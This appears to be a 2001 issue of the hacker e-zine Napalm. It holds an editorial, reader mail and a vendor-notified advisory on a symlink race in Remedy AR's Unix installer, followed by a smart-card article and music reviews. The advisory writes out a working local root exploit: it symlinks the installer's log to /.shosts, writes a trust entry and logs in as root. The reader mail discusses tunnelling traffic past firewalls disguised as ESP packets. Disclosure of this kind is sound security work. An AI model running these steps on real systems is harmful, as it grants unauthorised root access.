. . . ..n11: 2001.07.13
I have a gripe. Yep, you lucky readers get to hear it. It’s about plagiarism and partially about big business. To set the scene, I search the Web periodically for sites that use Napalm’s material. They might have either a mirror of some or all of our issues, or they have a single article they found useful. 95% of the time, proper attribution is given, either by posting the entire issue (with copyright notice at the top) or by giving the author and/or Napalm credit somewhere. Sure, I’ve sent some emails to people asking them to attribute the material they’ve taken from Napalm to its rightful owner. And in every case so far, they’ve complied and added a little note to the link or to the document. I’m perfectly cool with that. Now, you wouldn’t think that big businesses pay much attention to this little ‘zine or its contributors.
Echo8 recently sent an email out to a few of us, part of which follows:
I found out today that Sun finally patched the hole I reported in Volume Manager last year (the article I submitted for Napalm 6). I also found out that their bug report basically ripped off my work, verbatim.
The patches: 110029-02, 110032-02, 110030-02. These are available to the public at sunsolve.sun.com. Sun gives credit to Veritas for discovering the hole, which is complete bullshit.
The bugid: 4345464. This is available only to those with Sunsolve logins. This is where they commit a fairly blatant act of plagiarism. They copied almost my entire write-up, exploit included.
I mean, come on, Sun… how hard is it to give credit to an independent security researcher like echo8? It’s a great de-motivator for him, I’m sure. I sent them a comment through one of their online forms:
The bug ID indicated by the URL above contains plagiarized and copyrighted material. Compare
http://napalm.firest0rm.org/issue6.html#vvm
with the content of the above page. You will see that the page at sunsolve is almost an exact copy of the article included in that issue of Napalm e-zine. As with every issue, there is a copyright notice which states that every article is the copyright of the individual authors, in this case, echo8. I will normally accept mirroring or use of material found in Napalm provided that we are A) given notice of the use and B) attributed in a clear way.
I politely ask that you attribute discovery of this bug to echo8 and either link to Napalm or indicate which issue the article appeared in.
I don’t think that was too much to ask, do you? Any commentary on this would be greatly appreciated.
Brad Copely <bradcopely@yahoo.com> wrote:
My ISP uses a firewall (I’m assuming) to stop incoming connection attempts to my computer. Is there any way to get around, or at least explore this problem? I’m on a cable network in Japan.
If you can determine the ports that they’re blocking, you can certainly run your services on non-standard ports. Your webserver could run on port 8888, your ftp on 2121 and so on. If you have any firewall software on your computer (BlackIce Defender for Windows, ipf/ipchains for the *nixes), get on a host outside your network and portscan yourself. Look back at your logs and see which ports weren’t let through. {kynik}
Kyle Amon <amonk@gnutec.com> wrote:
Nice to see some pretty real shit pop up now and again.
Keep up the good work.
— Kyle
We do appreciate your comments, Kyle, thanks! {kynik}
Monkey Boy <monkey-boy@biteme.com> wrote:
Kynik,
Just read issue 10, top stuff as usual (especially the chaffing
thing, interesting idea… look forward to your code)… but what
happened? You said you were gonna include my comments on the IPSec
covert thing (see below)… where are they? i wanna be famous,
dammit! ;o)
keep up the good work
peace
Monkey-Boy (uk)
Yep, that was my mistake…I lost track of some of the commentary Monkey Boy had, but I’ll add that in now. Hopefully this clears up some questions that you may have had. {kynik}
See, what I thought he was trying to do was to get a packet that looked like it was an encrypted ESP packet (though it is in fact a cleartext packet, that looks like ESP) through the firewall, and my point was if you are being this sneaky why not just actually use a “real” IPSEC tunnel to the compromised host (if the firewall is letting through ESP, it follows it should be allowing the rest of IPSEC through, non?)… As i said guess it just means you can cut down on SA setup overhead traffic (though would you not need to have a shared key to allow the ESP encrypt/decrypt to work, if (as you assume) the packet is actually ESP’d (and not a cleartext that looks like ESP, as i assume)?
I don’t think I was totally clear on this, but you got the right message anyways. The packets we’re sending out don’t have to be actual valid, encrypted ESP packets. Sure, they could, but that’s probably more trouble than it’s worth. If you wanted some sort of encryption, you could roll your own, too. It doesn’t matter to the firewall. It just assumes that since ESP packets are supposed to be encrypted, trying to filter anything that looks like an ESP packet is a waste of time. Thus the tunnel. {kynik}
Guess it was just wishful thinking that all firewalls would be configured to only let IPSEC/ESP through to the appropriate place (i.e. the VPN device or a host doing IPSEC)… living in a dream world again ;-)
Would be interested to hear what ajax has to say; over to you, my friend.
Me too. He stayed totally silent when this email exchange went on. Care to enlighten us, ajax? {kynik}
Due to improper handling of temporary files, the installer program for Remedy Software’s Action Request System client for unix can allow local users to gain root privileges.
The installer script for the unix AR clients (ar_install) uses files with predictable names in world-writeable locations to store temporary files and logging information. The code does not check to see if the files exist before writing to them, or if the files are symbolic links to something else. A local user can exploit this (by symbolically linking the target files to something else ahead of time) to create or overwrite files anywhere on the system. If the AR client is installed as root, this type of attack can be used by unprivileged users to gain root access under the right circumstances (eg. a local user knows that the AR client will be installed on a system in the near future).
There are several instances of this problem in ar_install. A few examples:
# Name of the file to record a log of the installation into
#
LOGFILE="/usr/tmp/arClient_install.log"
...
############################################
# lecho - Logged echo to stdout
# Arg 0 to N = Data to be echoed
############################################
lecho()
{
echo "$@" >> $LOGFILE
echo "$@"
}
The lecho function is then frequently used to write
logging data to $LOGFILE.
Another example:
# # Test if "ex -" has any problem on this machine. If there is, use "ex" # echo "$PROD" > /tmp/ex.test ex - /tmp/ex.test << EOF /$PROD/ s/$PROD/$PROD_LONG/ w! q EOF RET=$? RES=`cat /tmp/ex.test` if [ \( $RET -eq 0 \) -a \( "$RES" = "$PROD_LONG" \) ] then EX="ex -" else EX="ex" fi
$ hostname brokenhost $ id uid=5000(foo) gid=20(users) $ ln -s /.shosts /var/tmp/arClient_install.log $ ls -alt /var/tmp/arClient_install.log lrwxrwxrwx 1 foo users 8 Apr 12 14:57 /var/tmp/arClient_install.log -> /.shosts ...wait for root to run ar_install... $ ls -alt /.shosts -rw-rw-rw- 1 root other 50873 Apr 12 14:58 /.shosts $ cat > /.shosts brokenhost foo ^D $ ssh -l root brokenhost Last login: Thu Apr 12 14:50:30 from someotherhost Sun Microsystems Inc. SunOS 5.6 Generic August 1997 brokenhost # id uid=0(root) gid=1(other) brokenhost #
I have tested this on Solaris 2.6 and 8, using the installer for AR 4.5.1.
The installers for the other supported unix versions (Irix, AIX, HP/UX and NCR System 3000) contain similar issues, so it’s likely that they are vulnerable as well. The older versions of AR that are available for some platforms (3.2.1) use a different install script. That script uses different filenames, but appears to have similar flaws.
If the AR client is being installed on a single-user workstation, it can be installed as a non-root user (this is not the default, but the documentation explains how to do it).
If the AR client must be installed as root, ar_install can be trivially modified to avoid using a world-readable/writeable space to store its temporary files.
The vendor was notified on 4/13/2001.
Copyright 4/12/2001, by echo8
Now hopefully your copyright will get noticed and heeded, echo8. {Rsquared}
I first heard about the MARC card some time in 1996 via a United States Navy website. The information was passed to me by the non-religious progeny of a local Mennonite family. MARC was already a functioning beta program at that time. The website where I gleaned my initial information is no longer accessible to the public. However, the Department of Defense has continued to develop the program over the course of the last few years.
During this interim, the project has metamorphized somewhat. Currently, MARC has been renamed to SMART. The card itself has been re-christened as the Common Access Card (CAC). Other cards/systems have been tested and are also functioning to similar results (and in general, accolades from the military community). A transformation is occurring in the way our government tracks and deploys its considerable resources. This article aims to provide an overview of different smart card technologies and some of their various physical specifications. I will also provide a brief timeline outlining the development cycle of several different systems, and their integration into military life. Most of this information is cobbled together from various sources (official .gov and .mil sites), and portions of this article are lifted verbatim from those sources. References are provided at the end of the article.
The Multi-Technology Automated Reader Card (MARC) project was initiated in response to a proliferation of single use, updatable technology programs throughout the Department of Defense. The MARC project evaluates the concept of providing a multi-functional, cross-service utility card capable of satisfying multiple requirements within the DOD for a portable updatable medium. The MARC test program moves the DOD toward a “one card per soldier“ concept for portable data carriers.
The MARC is an individually carried smart card that has several media: a standard 3 of 9 bar code, magnetic stripe, embossed data, printed information (including a digital photograph), and an Integrated Circuit (IC) computer chip.
The combination of several media on one credit card-sized device gives the MARC its versatility: it can interface with a variety of technologies and systems, from rudimentary imprinting machines to computer systems that use IC chips as data carriers.
The MARC Card consists of a Datacard Corporation MIC-1600 ICC card containing a 2K byte reusable (EEPROM) memory and microprocessor chip, a three-track magnetic stripe, a 3 of 9 bar code and various embossed data, including the holder’s photograph. The card is a standard, CR-80 size plastic card that conforms with ISO 7816/1. The microprocessor contains a Smart Card Operating System (SCOS) used to organize the MARC data into files and protect them from unathorized access. The MARC connects to various smart card readers through metallic contacts on the face of the card which are compatible with ISO 7816/2 specifications. Data on the card is accessed through a Smart Card User Interface (SCUI) which, in conjunction with the SCOS security features, controls all access to the MARC data and security features in a flexible, controlled manner. Additional technologies, including the use of holograms, laminiated photos, and the Portable Data File (PDF-417) two-dimensional bar code, are being considered.
The MARC smart card contains a SCOS from Datacard Corporation under a licensing agreement with Personal Computer Card Corporation (Pc3). The SCOS provides a high level command language that supports data structures and access to files and records. Password keys are assigned to control reading and writing of individual data elements and sets.
The SCUI provides a standardized, but highly flexible and tailorable interface between the application and the data on the MARC. A tailored card for each individual application provides the necessary structure and security information to allow the application to access the MARC data without the possibility of affecting other applications’ data.
Files are protected from unauthorized access by requiring that one or more password keys be submitted to the ICC. Incorrect key submissions lock access to all files protected by the key until it is submitted correctly. For security reasons, only correct key submissions are confirmed. Eight successive incorrect key submissions permanently locks the card. To ensure the MARC cardholder controls and is aware of all data written, the individual is required to submit his or her Personal Identification Number (PIN) before any data (with the exception of field medical treatment data) can be written to the ICC.
Communication with the microprocessor module is based on the protocol defined in ISO 7816/3. Full ISO compatible (t=0) protocol is supported.
62C580
3.57MHz clock
4.50–5.50v, 10ms
Reset duration 10ms
9600bps asynchronous, 8 bit data
ISO (t=0) and Pc3 protocols
Transmit turnaround delay: 5ms
Line timeout: 1.0 seconds
Reset response: conforms to ISO 7816/3
Response delay < 10ms
Issuer, PIN, and 8 application keys
1-8 characters
8 retries
1920 bytes data and File Descriptor Table storage
64 data files maximum
256 bytes per record
10,000 erasures
86mm x 54mm x .84mm
ISO 7816/2 standard contacts
10,000 insertion cycles / 10 year data retention
0 to 70 degrees centigrade operating
-40 to 125 degrees centigrade storage
30 to 80% non-condensing operating
5 to 95% non-condensing storage
The AMS is a user-friendly software package designed to operate at different supply points: the depot, central receiving/shipping points (CRSPs), and supply support activities (SSAs). Each of these operations has similar equipment and software packages that complement the other, making them compatible. The AMS hardware consists of an IBM-compatible personal computer, optical memory card reader/writer, bar code reader (BCR), radio frequency tag, tag docking station, and printer. The AMS system outputs several different products such as scannable bar code labels, radio frequency tags, and optical memory cards. The AMS is currently a stand-alone system that is being incorporated into the Standard Army Retail System-Objective (SARSS-O) used at the direct support unit. The AMS is an efficient, cost-effective and compact shipping manifest and database management system that will expedite receipt processing when used properly.
The need for AMS arose during evalutaions of the logistical problems during Operation Desert Shield/Storm in the early 1990s. Supplies were inadequately manifested. Storage sites had no access or visibility. No inventory control procedures existed. All these logistical problems led to major accountability problems. The General Accounting Office (GAO) cited these accountability problems as the main reason for poor supply distribution and excessive costs. The Defense Logistics Agency (DLA) then began a research that developed the AMS.
The AMS’s key component for reducing receipt processing is the optical memory card. The size of a typical credit card, the optical memory card provides detailed information on the contents of each multipack or containerized shipment. Each card accompanies its multipack or container to its final destination.
The optical memory card accesses and updates the SARSS database, which results in the immediate search and retrieval of high-priority items. The AMS, and specifically the optical memory card, are designed to interface with all the military services’ retail supply systems. This interface enables asset visibility, expedites receipt confirmation, automates the reconciliation process, gives automated reports of discrepancy, and creates issue and packing lists for supported customers.
The laser optical memory card has many advantages. The optical memory card can store 2.5 million bytes of information (approximately 1,200 pages of hard copy). It costs only $4.00 per card. Very resilient, the optical memory card can withstand temperatures from -40 to +212 degrees Fahrenheit. In addition, it is not affected by severe weather, water or shock damage. The optical memory card also has a protective coating that shields it from magnetic fields, electrostatic, and radio frequency interference.
The optical memory card allows a database to prioritize offloading and issue, which gets high-priority supplies to the unit quicker. This system will eliminate the backlog of processing shipments. Before the AMS, 40 personnel worked three shifts to receive and process receipts from a standard shipment. With the introduction of AMS, four soldiers can complete the same tasks in a single shift.
The following is a brief overview of smart card deployment throughout the last several years. Source material is footnoted where appropriate.
25th Infantry Division (Light) US Pacific Command (PACOM), Hawaii, begin participating in the MARC test.
Hardware and software is installed and food service personnel and Personnel Administration Center (PAC) staff are trained on the new equipment and procedures.
Information Technology Solutions, Inc., of Petersburg, Virginia, under contract with the product manager for the Army Food Management Information System (PM AFMIS), trains 90 food service workers from 12 dining facilities and 37 PAC employees.
The headcounters at each dining facility serve as the main testers of AHC. They operate a handheld computer called a Portable Data Collection Device (PDCD), a commercial off-the-shelf item made by Telxon, Inc. Diners hand their MARC to the headcounter, who verifies the holder’s photo on the card and scans it through the PDCD.
The PDCD reads each diner’s status and MEC to determine the correct cost of the meal. The basic information recorded by the PDCD includes the first five characters of the diner’s last name, the diner’s social security number, meal type, payment method, and amount paid. Recording these data electronically eliminates the need to collect signatures from MARC holders at the headcount station and reduces the paperwork required to collect headcount data.
The PDCD keeps an up-to-the-minute record of diners served and cash collected. It also compiles summary information that speeds up post-meal accounting.
The PDCD transmits data collected to the AFMIS 3B2 minicomputer after each meal. However, the PDCD has sufficient memory capacity to store information on multiple meals should the AFMIS system be inaccessible or inoperable.
Automated Head Count (AHC) gives the BAS diner the option of paying for his meal with cash or by payroll deduction. If the diner chooses the payroll deduction option, the headcounter hands the diner the PDCD, and the diner enters a four-character personal identification number (similar to a transaction at a bank’s automated teller machine). Payroll deduction data are sent through the Defense Data Network to the Defense Finance and Accounting Service for entry into the Defense Joint Military Pay System.
Payroll deductions posted before the 15th of the month appear on that month’s Leave and Earnings Statement (LES). Payroll deductions made the 15th of the month appear on the next month’s LES.
The Smart Card Program at NTC Great Lakes (Department of Navy) is in full swing. Applications in use include: Electronic funds, Drug Test Management, Joint Food Service (automated dinner check-in), Smart Immune (storage of immunization records), and Smart Dental (storage of dental records).
Also under developmnent at NTC Great Lakes is Care Central/TRI-MEP. This application will enhance the special physical exam process by providing the capability to automatically populate physical exam forms and download patient care to the Biomedical Databank. Web development of the application is planned.
Card printing and issue at Great Lakes is the task of the local Defense Automated Printing Office (DAPS). Every recruit reporting to Great Lakes receives two smart cards: one temporary card and one permanent card. The temporary card is issued the day of arrival and is formatted to allow the use of a purse application. The purse function, administered by the Navy Exchange, allows the recruit to purchase required and personal items while undergoing training and replaces a World War II process of using "chit" books. Medical and dental information is also written to the card. Near the end of recruit training, each recruit cashes in any remaining funds on the temporary card. All demographic, medical and dental information is transferred to a permanent smart card that also displays a photograph of the individual. The recruit takes this permanent card to his/her next duty station and the temporary card is reformatted and reused. [j]
This technology is intended to eventually enter the civillian world as an identification system. Meant to replace current “multi-card” systems and represent a single identification point, MARC (now CAC) will revolutionize the way Americans authenticate transactions and conduct business. The ramifications on privacy should be evident. Where will this “centralized” data be stored, and how/by whom will it be protected? Beyond concerns of legitimate data warehousing, the question begs to be asked: Under what authority is this mandatory tracking system being implemented? Will the CAC replace the state-issued driver’s license as our primary means of identification? Will an option be provided to “opt out” of a system with questionable guarantees for personal security? What organizations will be allowed to gather and traffic in smart card data?
With a centralized means of authentication for practically all societal functions, what happens when a smart card is compromised?
Debate over this topic may not reach the mainstream until cards begin being issued en masse, and the first cases of MARC/CAC fraud are exposed. However, with current advertising campaigns promoting the smart card “idea” (MasterCard and Visa are pioneering this sales pitch), mass implementation may in fact be demanded by the populace as a protection against online crime. Already, the playing field for this battle is being defined through television commercials and “newly exposed” weaknesses in tradtional identification techniques. Little information is being presented concerning what measures will be taken to insure the integrity of the “data keepers.”
LCDR Tony Smith, Pacific Fleet MARC/CAC program manager, says the military plans to fully implement the MARC/CAC Program by Fiscal Year 2001 to all active-duty service members, DOD civilians, retirees, reservists, family members, the Departmen of Veterans Affairs and the Coast Guard.
The Social Security Administration is already investigating methods of integrating biometric identification into its existing fraud prevention and detection programs. Initiatives requiring enhanced “methods” of tracking beneficiaries have already crept onto the books. MARC/CAC will represent a decisive solution to the perceived dilemma. [o]
As demonstrated by the military, medical and dental histories can be tracked effectively with smart card technology. Future privacy initiatives instigated by Capitol Hill will require a secure method of identifying patients, and reliably storing confidential information.
“Of course, when ‘the military experienced delays in troop deployments because personnel records (such as training completed, immunizations) were not up-to-date and readily available’ during the Gulf War, the Pentagon created a MARC card.” [p]
The use of smart cards can save millions of dollars formerly allocated for paperwork and storage, not to mention staff who are charged with keeping track of all the paper. Speed of data storage and recovery are increased, and inaccurate record-keeping previously attributed to human error can be significantly reduced. The elimination of a physical “paper trail” saves on storage costs and reduces the likelihood of accidentally misplacing or destroying data.
Loss of privacy. Reliance on the “computers don’t make mistakes” syndrome. Whereas paper records stored in disparate locations require a fair amount of legwork to alter/tamper with, digital records can and will be altered remotely by individuals or groups who need not ever come in physical contact with their targets. Digital investigators need not risk the face-to-face interaction often required to retrieve such information in today’s multi-card world. The advent of the “paperless permanent record” adds a new dimension to information-warfare tactics and strategy. It has not yet been demonstrated that digital identification can be better protected than its physical-world counterpart.
It may be prudent to note that “MARC” probably wasn’t the wisest choice of acronyms for this project. Certain elements within American society will no doubt draw parallels between the program name (or its stated goals) and motifs drawn from their own tradtional legends and cultural backgrounds (this may actually have been what led to the project’s eventual name-change in the late 1990s). Indeed, religious groups have latched onto the issue with a vengeance. Specification information on the original MARC program circulated widely on the Internet in 1996, triggering the (almost immediate) emergence of protest websites and notices on the World Wide Web. Here are two examples of religious (Protestant Christian) objections to the program:
http://www.endtimeprophecy.net/~tttbbs/EPN-2/Articles/Articles-Mark/marccard.html
http://www.google.com/search?q=cache:www.yellowstoneinfo.com/biochips.htm+charles+robb+MARC+card&hl=en
Unfortunately, both of these URLs are invalid by now, since _azure did write this article several months before it got to me, and I took my time with it too.
http://www.endtimeprophecy.net/~tttbbs/EPN-2/GroupPages/grupmrk1.html is the closest thing I could find to the first one, but no sign of the MARC article. Google's cache of the other page has long since expired and yellowstoneinfo.com says very plainly on its main page that it has closed. So much for Internet references. {kynik}
On the other hand, the “MARC” acronymn may have been chosen for just this reason. Psychological Warfare Operations (PSY-OPS) are known to sometimes coincide with (and co-exist within) legitimate government projects. Whatever the case, religious organizations “bit”, and speculation quickly ran rampant. Anti-MARC sentiment spread amongst like-minded groups on the Internet like wildfire.
Curiously, most organized dissention seems to have dissipated rapidly when the program underwent its name change. However, goals and methods of the operation have remained consistent with the earliest documented efforts I have uncovered.
Smart card technology is here to stay (as much as anything ever truly “stays”). Successful test runs throughout the 1990s proved that electronic tracking of human and material resources greatly improves the efficiency of logistical planning and personnel management. Programs to integrate smart cards into civilian life are already being implemented nationwide. As more and more Americans rush to get online, the digitization of personal information and identification will continue to escalate until smart cards are considered a “normal” tool for performing daily tasks. It is anticpated that future e-commerce systems will take advantage of the convenience and security (sic) that smart card authentication bring to the table. Time will tell if this reliance will prove to be a solid foundation for real-world transactions.
As smart card technology spreads into general use by society at large, the effects of computerization will become apparent to both proponents and detractors. The issues that are examined at this time may prove to be some of the most important factors for the future of privacy and autonomy in the United States of the 21st Century. A large struggle looms over the horizon for control of the personal data that defines us as human beings. In our modern information-based economy, such personal data takes on a significant dollar value as well as enriching our understanding of ourselves and those around us. Without careful safeguards on the confidentiality and integrity of this data, Americans may well find themselves little more than beasts of burden on the battlefield of the market economy.
It is imperative that issues of privacy and security be addressed as these technologies become more prevalant in day-to-day life. It is up to us to bring these decisions into the forefront of the public consciousness before it is too late.
40 acres and a mule.
_azure
Unfortunately, due to a time crunch, I couldn’t finish this article. All of the code is done and ready to be thrown at you guys, but I’ll wait until issue 12 for that. Please be patient, and sorry for the delay.
Anybody like hardcore? I know I do. I guess they’re calling it “new hardcore,” though, to distinguish it from its punkier, older uncle, which included bands like Minor Threat and Gorilla Biscuits. (Both of which rock!) So here are the albums, in no particular order:
http://www.poisonthewell.com/
(down last time I checked)
http://www.wickedland.com/poisonthewell
I found an mp3 of Poison the Well’s “Slice Paper Wrists” (track 4 on this disc) about a year ago, and I was floored. It was right up my alley, being a huge Vision of Disorder fan. That song found its way onto several mix tapes and CDs until I actually bought the CD a few months ago. There’s a little hint of prog metal in this CD, and one song even starts out with a In Flames-ish riff. Otherwise, it’s good, solid, upbeat scream-sing-scream kill-all-your-friends-and-cry-about-it-later music.
Choice lyric: “I could never swallow your false ideals.”
http://www.drowningmanhatesyou.com/
Besides having a knack for coming up with song and album titles that are hilarious to those of us with a sick sense of humor, these guys are really good. They’re probably the heaviest of the four albums I’m reviewing this issue. A minor gripe I have about this CD is that the screams are just so distorted and loud that it almost fails to be distinct. That’s not necessarily a bad thing, though. This album feels like it comes and goes way too quickly, though, only having 8 songs. With songs like these, the intensity really makes you want more.
Choice lyric: “I’ll tear your fucking heart out, you bastard.”
(couldn’t find a website)
Ok, I bought this CD because of their schtick, but am I ever glad I did. The schtick for this band is that their lead vocalist is female. You know what? It hardly matters. The vocals are as good as any male hardcore vocalist’s and Candace is able to hit some stuff many guys couldn’t. Walls of Jericho have a slightly more punky approach to this genre, which may seem redundant. I guess what I’m saying is they’re closer to the “old hardcore” than the other albums—there’s a lot of straight-up fast two-beat drum parts with fast power-chording guitars. This CD also has the punk-rock trademark of being really short, like the Drowningman disc above… only seven songs this time. (That’s ok, it was cheap.)
Choice lyric: “Does your life stand for anything? Ask yourself this.”
I’ve been waiting for this album for a long time. It’s considerably different from all of the bands above and their previous albums. I say this because there’s a ton more singing going on than in a “normal” hardcore CD. Don’t get me wrong, there’s lots of screaming here too. I’m not sure this’ll be my favorite VOD album—it’d be damn hard to top their self-titled debut CD. I think they took this more melodic approach to songwriting in order to broaden their fan base and possibly land a radio song or two. (Or if they’re really unlucky, an MTV video.) Run, don’t walk to their website and listen to this… the CD is great.
Choice lyric: “What’s the sense, there’s only sorrow.”
| Editor: | Kynik | <kynik@firest0rm.org> |
| Co-Editors: | ajax | <ajax@firest0rm.org> |
| Rsquared | <rsquared@firest0rm.org> | |
| Article Contributions: | echo8 | <echo8@gh0st.net> |
| _azure | <azure@gh0st.net> | |
| HTML version: | Rsquared | <rsquared@firest0rm.org> |
To subscribe to this ‘zine: Email
napalm@firest0rm.org
with a subject of SUBSCRIBE.
To unsubscribe: Email
napalm@firest0rm.org
with a subject of UNSUBSCRIBE.
Or find us online at
http://napalm.firest0rm.org/
Submissions, questions, comments, and constructive chaos may also be directed to kynik@firest0rm.org or any of the contributors.
.n11! - eof